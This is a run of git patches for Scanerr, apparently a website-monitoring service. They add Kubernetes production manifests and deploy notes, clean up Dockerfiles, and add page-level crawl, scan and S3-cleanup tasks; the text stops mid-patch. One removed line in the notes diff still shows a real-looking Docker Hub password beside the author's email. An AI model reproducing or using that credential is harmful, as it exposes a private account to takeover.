From 844a4166288b7554ffd55cf641c00a042f4fcd59 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 10 Jun 2023 09:41:10 -0500
Subject: [PATCH 001/752] removed extra quote str in cmd

---
 k8s/prod/app-deployment.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index c91eb55a..8e13781f 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -31,7 +31,7 @@ spec:
               python3 manage.py create_admin &&
               python3 manage.py driver_s_test &&
               python3 manage.py driver_p_test &&
-              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
+              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
           envFrom:
             - configMapRef:
                 name: app-configs

From c993b9cdd15a3d7d075594cfe9e3a6c66ada9017 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 14 Jun 2023 21:12:31 -0500
Subject: [PATCH 002/752] added k8s prod notes & manifests

---
 k8s/kubernetes-notes.md         | 47 +++++++++++++++++++++++++++++++--
 k8s/prod/app-cert-issuer.yaml   | 19 +++++++++++++
 k8s/prod/app-deployment.yaml    | 40 ++++++++++++++--------------
 k8s/prod/app-ingress.yaml       | 23 ++++++++++++++++
 k8s/prod/celery-deployment.yaml |  6 +++--
 5 files changed, 111 insertions(+), 24 deletions(-)
 create mode 100644 k8s/prod/app-cert-issuer.yaml
 create mode 100644 k8s/prod/app-ingress.yaml

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 336cb823..e0c92da2 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -62,7 +62,7 @@ kubectl port-forward service/app-service 8000:8000
 1. ensure minikube is running
    - ``` minikube status ``` 
 2. create secrets for app image pull from docker
-   - ``` kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password=Ljr500103! --docker-email=l.rodden52@gmail.com ```
+   - ``` kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=<username> --docker-password=<password> --docker-email=<email> ```
 3. build db-configs-configs 
    - ``` kubectl apply db-configs.yaml ``` 
 4. build db-deployment
@@ -81,4 +81,47 @@ kubectl port-forward service/app-service 8000:8000
 11. port forwarding to app deployment
    -  ``` kubectl port-forward service/app-service 8000:8000 ```
 
-      
\ No newline at end of file
+      
+
+## Setps to Deploy Remotly
+
+
+### 1. Create docker secrets  
+- `kubectl $scanerrk8s create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=<username> --docker-password=<password> --docker-email=<email>` 
+
+
+### 1. Build Dockerfile into image
+- `docker build . -t landonr/scanerr-server:latest`
+- `docker image push landonr/scanerr-server:latest`
+
+
+### 2. Install nginx ingress controler on cluster
+`kubectl $scanerrk8s apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml`
+
+
+### 3. Spin Scanerr deployments and services
+- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
+- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
+- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
+
+
+### 4. Add app Ingress
+- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
+
+
+### 5. Install cert-manager
+- `kubectl $scanerrk8s apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.12.0/cert-manager.yaml`
+
+
+### 6. Add cert issure
+- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-cert-issuer.yaml`
+  
+
+### 7. Update app Ingress for TLS 
+- Uncomment the TLS section, cert-manager.io/cluster-issuer annotation & reapply 
+- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
+
+
+### 8. Update ingress-nginx-controler with domain
+- add the below annotation 
+- `service.beta.kubernetes.io/do-loadbalancer-hostname: "api1.scanerr.io"`
\ No newline at end of file
diff --git a/k8s/prod/app-cert-issuer.yaml b/k8s/prod/app-cert-issuer.yaml
new file mode 100644
index 00000000..a209dd61
--- /dev/null
+++ b/k8s/prod/app-cert-issuer.yaml
@@ -0,0 +1,19 @@
+apiVersion: cert-manager.io/v1
+kind: ClusterIssuer
+metadata:
+  name: letsencrypt-nginx
+  namespace: default
+spec:
+  acme:
+    # The ACME server URL
+    server: https://acme-staging-v02.api.letsencrypt.org/directory # https://acme-v02.api.letsencrypt.org/directory
+    # Email address used for ACME registration
+    email: hello@scanerr.io
+    # Name of a secret used to store the ACME account private key
+    privateKeySecretRef:
+      name: letsencrypt-nginx-private-key
+    # Enable the HTTP-01 challenge provider
+    solvers:
+    - http01:
+        ingress:
+          class: nginx
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 8e13781f..5c841598 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -2,36 +2,37 @@ apiVersion: apps/v1
 kind: Deployment
 metadata:
   name: app-deployment
+  labels:
+    deployment: app
 spec:
   replicas: 1
   selector:
     matchLabels:
-      app: app
+      app: app-deployment
   template:
     metadata:
       labels:
-        app: app
+        app: app-deployment
     spec:
       imagePullSecrets:
         - name: regcred
       containers:
-        - name: app
+        - name: scanerr-server
           image: landonr/scanerr-server
           imagePullPolicy: IfNotPresent
           ports:
             - containerPort: 8000
-          command:
-            - "sh"
-            - "-c"
-            - >
-              python3 manage.py wait_for_db &&
-              python3 manage.py makemigrations --no-input &&
-              python3 manage.py migrate --no-input &&
-              python3 manage.py collectstatic --no-input &&
-              python3 manage.py create_admin &&
-              python3 manage.py driver_s_test &&
-              python3 manage.py driver_p_test &&
-              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+          command: ["/bin/sh", "-c"]
+          args: 
+            - > 
+                python3 manage.py wait_for_db &&
+                python3 manage.py makemigrations --no-input &&
+                python3 manage.py migrate --no-input &&
+                python3 manage.py collectstatic --no-input &&
+                python3 manage.py create_admin &&
+                python3 manage.py driver_s_test &&
+                python3 manage.py driver_p_test &&
+                gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
           envFrom:
             - configMapRef:
                 name: app-configs
@@ -51,9 +52,8 @@ metadata:
   name: app-service
 spec:
   selector:
-    app: app
+    app:  app-deployment
   ports:
-    - protocol: TCP
-      port: 8000
-      targetPort: 8000
-  type: NodePort
+  - name: http
+    port: 80
+    targetPort: 8000
diff --git a/k8s/prod/app-ingress.yaml b/k8s/prod/app-ingress.yaml
new file mode 100644
index 00000000..dc192178
--- /dev/null
+++ b/k8s/prod/app-ingress.yaml
@@ -0,0 +1,23 @@
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+  annotations:
+    cert-manager.io/cluster-issuer: letsencrypt-nginx
+  name: app-ingress
+spec:
+  tls:
+    - hosts:
+      - api1.scanerr.io
+      secretName: letsencrypt-nginx
+  rules:
+  - host: api1.scanerr.io
+    http:
+      paths:
+      - backend:
+          service:
+            name: app-service
+            port:
+              number: 80
+        path: /
+        pathType: Prefix
+  ingressClassName: nginx
\ No newline at end of file
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 64ed79e9..9ed7b8e9 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -2,15 +2,17 @@ apiVersion: apps/v1
 kind: Deployment
 metadata:
   name: celery-deployment
+  labels:
+    deployment: celery
 spec:
   replicas: 1
   selector:
     matchLabels:
-      app: celery
+      app: celery-deployment
   template:
     metadata:
       labels:
-        app: celery
+        app: celery-deployment
     spec:
       imagePullSecrets:
         - name: regcred

From fa60527ecb27768bbd9442d964696576b499033d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 14 Jun 2023 21:12:42 -0500
Subject: [PATCH 003/752] cleaning up

---
 .gitignore              |  4 ----
 Dockerfile              |  4 ++++
 Dockerfile.prod         | 52 -----------------------------------------
 docker-compose.dev.yml  |  2 +-
 docker-compose.prod.yml |  2 +-
 docker-compose.yml      |  2 +-
 6 files changed, 7 insertions(+), 59 deletions(-)
 delete mode 100644 Dockerfile.prod

diff --git a/.gitignore b/.gitignore
index 780009eb..8d7a5fee 100644
--- a/.gitignore
+++ b/.gitignore
@@ -9,14 +9,10 @@ __pycache__
 __pycache__/
 */__pycache__/*
 **/__pycache__/
-server/app/env*
 env/.env.local
 env/.env.dev
 env/.env.prod
 env/.env.prod.db
 app/static*
-Dockerfile.alpine
-Dockerfile.dev1
-Dockerfile.dev3
 app/api/migrations/*_*.py
 k8s/*/*-configs.yaml
diff --git a/Dockerfile b/Dockerfile
index c1f55754..c573adbd 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -16,8 +16,12 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n && n lts
 
+RUN npm cache clean --force
+
 # increasing allocated memory to node
 RUN export NODE_OPTIONS="--max-old-space-size=4096"
+ENV NODE_OPTIONS=--max_old_space_size=7000
+ENV NODE_OPTIONS="--max-old-space-size=7000"
 
 # installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
diff --git a/Dockerfile.prod b/Dockerfile.prod
deleted file mode 100644
index eb8edf96..00000000
--- a/Dockerfile.prod
+++ /dev/null
@@ -1,52 +0,0 @@
-FROM python:3.9-slim
-ENV PYTHONUNBUFFERED 1
-
-# create the app user
-RUN addgroup --system app && adduser --system app 
-
-# installing python3 & pip
-RUN apt-get update && apt-get install -y python3 python3-pip
-
-# installing system deps
-RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
-    libfontconfig git
-
-# installing node and npm
-RUN apt-get update && apt-get install nodejs npm -y  \
-    && npm install -g n && n lts
-
-RUN npm cache clean --force
-
-# increasing allocated memory to node
-# RUN export NODE_OPTIONS="--max-old-space-size=7000" 
-# RUN export NODE_OPTIONS="--stack-size=262000" 
-ENV NODE_OPTIONS=--max_old_space_size=7000
-ENV NODE_OPTIONS="--max-old-space-size=7000"
-# ENV NODE_OPTIONS=--stack-size=262000
-
-# installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
-
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-
-# telling phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
-ENV DOCKERIZED yes
-
-# setting --no-sandbox for Phantomas 
-RUN chromium --no-sandbox --version
-
-# installing requirements
-COPY ./requirements.txt /requirements.txt
-RUN python3 -m pip install -r /requirements.txt
-
-# setting working dir
-RUN mkdir /app
-COPY ./app /app
-WORKDIR /app
-
-# setting ownership
-RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/chromium
\ No newline at end of file
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index f09772ed..fa01f3a1 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -6,7 +6,7 @@ services:
     init: true
     build:
       context: .
-      dockerfile: Dockerfile.prod
+      dockerfile: Dockerfile
     volumes:
       - ./app:/app
       - static_volume:/app/static
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index cc375e35..da5cd6f8 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -7,7 +7,7 @@ services:
     init: true
     build:
       context: .
-      dockerfile: Dockerfile.prod
+      dockerfile: Dockerfile
     # image: landonr/scanerr-server
     volumes:
       - ./app:/app
diff --git a/docker-compose.yml b/docker-compose.yml
index a8f492c0..a80234e6 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -7,7 +7,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.prod
+      dockerfile: Dockerfile
     # image: landonr/scanerr-server
     ports:
       - "8000:8000"

From 37044b67b42be729cd90c7a411f018be0928000e Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 13:05:29 -0500
Subject: [PATCH 004/752] rolling out version 1.1.0

---
 app/api/admin.py               |   17 +-
 app/api/models.py              |   57 +-
 app/api/tasks.py               |  316 +++++-
 app/api/utils/alerts.py        |   65 +-
 app/api/utils/crawler.py       |   53 +
 app/api/utils/image.py         |  144 ++-
 app/api/utils/lighthouse.py    |    8 +-
 app/api/utils/reporter.py      |   42 +-
 app/api/utils/scanner.py       |  259 +++--
 app/api/utils/tester.py        |   31 +-
 app/api/utils/yellowlab.py     |    8 +-
 app/api/v1/auth/alerts.py      |    3 +
 app/api/v1/auth/serializers.py |    2 +-
 app/api/v1/auth/services.py    |    7 +-
 app/api/v1/billing/urls.py     |    1 +
 app/api/v1/billing/views.py    |   41 +-
 app/api/v1/ops/serializers.py  |   33 +-
 app/api/v1/ops/services.py     | 1656 +++++++++++++++++++++++---------
 app/api/v1/ops/tasks.py        |   40 +-
 app/api/v1/ops/urls.py         |    8 +
 app/api/v1/ops/views.py        |   98 ++
 docker-compose.dev.yml         |    4 +-
 docker-compose.prod.yml        |    4 +-
 docker-compose.yml             |    6 +-
 requirements.txt               |    5 +-
 25 files changed, 2262 insertions(+), 646 deletions(-)
 create mode 100644 app/api/utils/crawler.py

diff --git a/app/api/admin.py b/app/api/admin.py
index 16e08a0b..253bc7ec 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -5,20 +5,27 @@
 
 @admin.register(Site)
 class SiteAdmin(admin.ModelAdmin):
-    list_display = ('site_url', 'user', 'time_created')
+    list_display = ('site_url', 'account', 'time_created')
     search_fields = ('site_url',)
 
 
+
+@admin.register(Page)
+class SiteAdmin(admin.ModelAdmin):
+    list_display = ('page_url', 'account', 'time_created')
+    search_fields = ('page_url',)
+
+
 @admin.register(Test)
 class TestAdmin(admin.ModelAdmin):
-    list_display = ('id', 'site', 'time_created', 'time_completed', 'type')
-    search_fields = ('site',)
+    list_display = ('id', 'page', 'time_created', 'time_completed', 'type')
+    search_fields = ('page',)
 
 
 @admin.register(Scan)
 class ScanAdmin(admin.ModelAdmin):
-    list_display = ('id', 'site', 'time_created', 'time_completed')
-    search_fields = ('site',)
+    list_display = ('id', 'page', 'time_created', 'time_completed')
+    search_fields = ('page',)
     actions = ['mark_as_completed',]
 
     def mark_as_completed(self, request, queryset):
diff --git a/app/api/models.py b/app/api/models.py
index 72e5b54d..9ef6882d 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -53,6 +53,31 @@ def get_info_default():
 
 
 
+
+
+def get_small_info_default():
+    info_default = {
+            'latest_scan': {
+                'id': None,
+                'time_created': None,
+                'time_completed': None,
+            },
+            'latest_test': {
+                'id': None,
+                'time_created': None,
+                'time_completed': None,
+                'score': None
+            },
+            'status': {
+                'health': None,
+                'badge': 'neutral',
+                'score': None,
+            },
+        }
+    return info_default
+
+
+
 def get_lh_delta_default():
     lh_delta_default = {
         "scores": {
@@ -239,10 +264,12 @@ class Account(models.Model):
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')
     code = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     max_sites = models.IntegerField(serialize=True, null=True, blank=True, default=1)
+    max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=25)
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0)
     slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default)
 
     def __str__(self):
@@ -289,7 +316,7 @@ class Site(models.Model):
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
-    info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
+    info = models.JSONField(serialize=True, null=True, blank=True, default=get_small_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
 
     def __str__(self):
@@ -297,9 +324,25 @@ def __str__(self):
 
 
 
+class Page(models.Model):
+    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
+    site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True)
+    page_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    time_created = models.DateTimeField(default=timezone.now, serialize=True)
+    user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True)
+    account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
+    tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
+
+    def __str__(self):
+        return f'{self.page_url}'
+
+
+
 class Scan(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True)
+    page = models.ForeignKey(Page, on_delete=models.CASCADE, serialize=True, blank=True)
     paired_scan = models.ForeignKey('self', on_delete=models.SET_NULL, serialize=True, null=True, blank=True)
     type = models.JSONField(serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
@@ -320,6 +363,7 @@ def __str__(self):
 class Test(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True)
+    page = models.ForeignKey(Page, on_delete=models.CASCADE, serialize=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
     type = models.JSONField(serialize=True, null=True, blank=True)
@@ -345,6 +389,7 @@ def __str__(self):
 class Schedule(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto')
     time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
@@ -361,7 +406,14 @@ class Schedule(models.Model):
     extras = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.site.site_url}__{self.task_type}'
+        if self.site is not None:
+            url = self.site.site_url
+            level = 'site'
+        if self.page is not None:
+            url = self.page.site.site_url
+            level = 'page'
+
+        return f'{url}_{self.task_type}_{level}'
 
 
 
@@ -386,6 +438,7 @@ def __str__(self):
 class Report(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index d242b559..ee5cccad 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -3,19 +3,22 @@
 from celery.utils.log import get_task_logger
 from celery import shared_task
 from celery import Task as BaseTask
+from .utils.crawler import Crawler
 from .v1.ops.tasks import (
     create_site_task, create_scan_task, run_html_and_logs_task,
     run_vrt_task, run_lighthouse_task, run_yellowlab_task, 
     create_test_task, create_report_task, delete_report_s3,
     delete_site_s3, create_testcase_task, migrate_site_task,
     delete_testcase_s3,
-    
 )
-from .models import Log
+from .models import *
 from django.contrib.auth.models import User
 from .utils.driver_p import driver_test
+from .v1.auth.alerts import send_invite_link, send_remove_alert
 from asgiref.sync import async_to_sync
-import asyncio
+import asyncio, boto3
+from datetime import datetime, timedelta, date
+from scanerr import settings
 
 
 logger = get_task_logger(__name__)
@@ -35,11 +38,112 @@ def create_site_bg(site_id=None, scan_id=None, configs=None, *args, **kwargs):
     logger.info('Created scan of new site')
 
 
+
+@shared_task
+def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
+    site = Site.objects.get(id=site_id)
+    # crawl site 
+    pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
+    for url in pages:
+        # add new page
+        page = Page.objects.create(
+            site=site,
+            page_url=url,
+            user=site.user,
+            account=site.account,
+        )
+        # create initial scan
+        scan = Scan.objects.create(
+            site=site,
+            page=page, 
+            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+            configs=configs
+        )
+        # run each scan component in parallel
+        run_html_and_logs_bg.delay(scan_id=scan.id)
+        run_lighthouse_bg.delay(scan_id=scan.id)
+        run_yellowlab_bg.delay(scan_id=scan.id)
+        run_vrt_bg.delay(scan_id=scan.id)
+        page.info["latest_scan"]["id"] = str(scan.id)
+        page.info["latest_scan"]["time_created"] = str(scan.time_created)
+        page.save()
+
+
+    logger.info('Added site and all pages')
+
+
+
+
+@shared_task
+def crawl_site_bg(site_id=None, configs=None, *args, **kwargs):
+    site = Site.objects.get(id=site_id)
+    old_pages = Page.objects.filter(site=site)
+    old_urls = []
+    for p in old_pages:
+        old_urls.append(p.page_url)
+
+    # crawl site 
+    new_pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
+    add_pages = []
+
+    # checking if allowed to add new page
+    for page in new_pages:
+        if not page in old_urls and (len(add_pages) + len(old_urls) <= site.account.max_pages):
+            add_pages.append(page)
+        
+    for url in add_pages:
+        # add new page
+        page = Page.objects.create(
+            site=site,
+            page_url=url,
+            user=site.user,
+            account=site.account,
+        )
+        # create initial scan
+        scan = Scan.objects.create(
+            site=site,
+            page=page, 
+            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+            configs=configs
+        )
+        # run each scan component in parallel
+        run_html_and_logs_bg.delay(scan_id=scan.id)
+        run_lighthouse_bg.delay(scan_id=scan.id)
+        run_yellowlab_bg.delay(scan_id=scan.id)
+        run_vrt_bg.delay(scan_id=scan.id)
+        page.info["latest_scan"]["id"] = str(scan.id)
+        page.info["latest_scan"]["time_created"] = str(scan.time_created)
+        page.save()
+
+
+    logger.info('crawled site and added pages')
+
+
+
+
+@shared_task
+def scan_page_bg(scan_id=None, configs=None, *args, **kwargs):
+    scan = Scan.objects.get(id=scan_id)
+    
+    # run each scan component in parallel
+    if 'html' in scan.type or 'logs' in scan.type or 'full' in scan.type:
+        run_html_and_logs_bg.delay(scan_id=scan.id)
+    if 'lighthouse' in scan.type or 'full' in scan.type:
+        run_lighthouse_bg.delay(scan_id=scan.id)
+    if 'yellowlab' in scan.type or 'full' in scan.type:
+        run_yellowlab_bg.delay(scan_id=scan.id)
+    if 'vrt' in scan.type or 'full' in scan.type:
+        run_vrt_bg.delay(scan_id=scan.id)
+
+    logger.info('Added site and all pages')
+
+
+
 @shared_task
-def create_scan_bg(
+def _create_scan(
         scan_id=None,
-        site_id=None, 
-        type=['full'],
+        page_id=None, 
+        type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
         automation_id=None, 
         configs=None,
         tags=None,
@@ -48,7 +152,7 @@ def create_scan_bg(
     ):
     create_scan_task(
         scan_id, 
-        site_id,
+        page_id,
         type,
         automation_id, 
         configs,
@@ -58,6 +162,33 @@ def create_scan_bg(
 
 
 
+@shared_task
+def create_scan_bg(*args, **kwargs):
+    # get data
+    site_id = kwargs.get('site_id')
+    page_id = kwargs.get('page_id')
+    type = kwargs.get('type')
+    configs = kwargs.get('configs')
+    tags = kwargs.get('tags')
+    automation_id = kwargs.get('automation_id')
+
+    if site_id is not None:
+        site = Site.objects.get(id=site_id)
+        pages = Page.objects.filter(site=site)
+    if page_id is not None:
+        pages = [Page.objects.get(id=page_id)]
+
+    for page in pages:
+        _create_scan.delay(
+            page_id=page.id,
+            type=type,
+            configs=configs,
+            tags=tags,
+            automation_id=automation_id
+        )
+    
+
+
 
 @shared_task
 def run_html_and_logs_bg(scan_id=None, *args, **kwargs):
@@ -86,12 +217,12 @@ def run_yellowlab_bg(scan_id=None, *args, **kwargs):
 
 
 @shared_task
-def create_test_bg(
+def _create_test(
         test_id=None,
-        site_id=None, 
+        page_id=None, 
         automation_id=None, 
         configs=None, 
-        type=['full'],
+        type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
         index=None,
         pre_scan=None,
         post_scan=None,
@@ -101,7 +232,7 @@ def create_test_bg(
     ):
     create_test_task(
         test_id,
-        site_id, 
+        page_id, 
         automation_id, 
         configs, 
         type,
@@ -110,12 +241,75 @@ def create_test_bg(
         post_scan,
         tags
     )
-    logger.info('Created new test of site')
+    logger.info('Created new test of page')
+
+
+
+@shared_task
+def create_test_bg(*args, **kwargs):
+    # get data
+    site_id = kwargs.get('site_id')
+    page_id = kwargs.get('page_id')
+    test_id = kwargs.get('test_id')
+    type = kwargs.get('type')
+    configs = kwargs.get('configs')
+    tags = kwargs.get('tags')
+    automation_id = kwargs.get('automation_id')
+
+    if test_id is None:
+        if site_id is not None:
+            site = Site.objects.get(id=site_id)
+            pages = Page.objects.filter(site=site)
+        if page_id is not None:
+            p = Page.objects.get(id=page_id)
+            pages = [p]
+
+        for page in pages:
+            _create_test.delay(
+                page_id=page.id,
+                type=type,
+                configs=configs,
+                tags=tags,
+                automation_id=automation_id
+            )
+    
+    if test_id is not None:
+        test = Test.objects.get(id=test_id)
+        _create_test.delay(
+            test_id=test_id,
+            page_id=test.page.id,
+            type=type,
+            configs=configs,
+            tags=tags,
+            automation_id=automation_id
+        )
+
+
+
+@shared_task
+def _create_report(page_id=None, automation_id=None, *args, **kwargs):
+    create_report_task(page_id, automation_id)
+    logger.info('Created new report of page')
+
 
 @shared_task
-def create_report_bg(site_id=None, automation_id=None, *args, **kwargs):
-    create_report_task(site_id, automation_id)
-    logger.info('Created new report of site')
+def create_report_bg(*args, **kwargs):
+    # get data
+    site_id = kwargs.get('site_id')
+    page_id = kwargs.get('page_id')
+    automation_id = kwargs.get('automation_id')
+
+    if site_id is not None:
+        site = Site.objects.get(id=site_id)
+        pages = Page.objects.filter(site=site)
+    if page_id is not None:
+        pages = [Page.objects.get(id=page_id)]
+
+    for page in pages:
+        _create_report.delay(
+            page_id=page.id,
+            automation_id=automation_id
+        )
 
 
 @shared_task
@@ -124,6 +318,60 @@ def delete_site_s3_bg(site_id, *args, **kwargs):
     logger.info('Deleted site s3 objects')
 
 
+@shared_task
+def delete_page_s3_bg(page_id, site_id, *args, **kwargs):
+    # setup boto3 configurations
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME),
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete()
+    except:
+        pass
+    return
+
+@shared_task
+def delete_scan_s3_bg(scan_id, site_id, page_id):
+    # setup boto3 configurations
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete()
+    except:
+        pass
+    return
+    
+
+@shared_task
+def delete_test_s3_bg(test_id, site_id, page_id):
+    # setup boto3 configurations
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete()
+    except:
+        pass
+    return
+
+
+
 @shared_task
 def delete_testcase_s3_bg(testcase_id, *args, **kwargs):
     delete_testcase_s3(testcase_id)
@@ -165,6 +413,28 @@ def create_testcase_bg(
 
 
 
+@shared_task
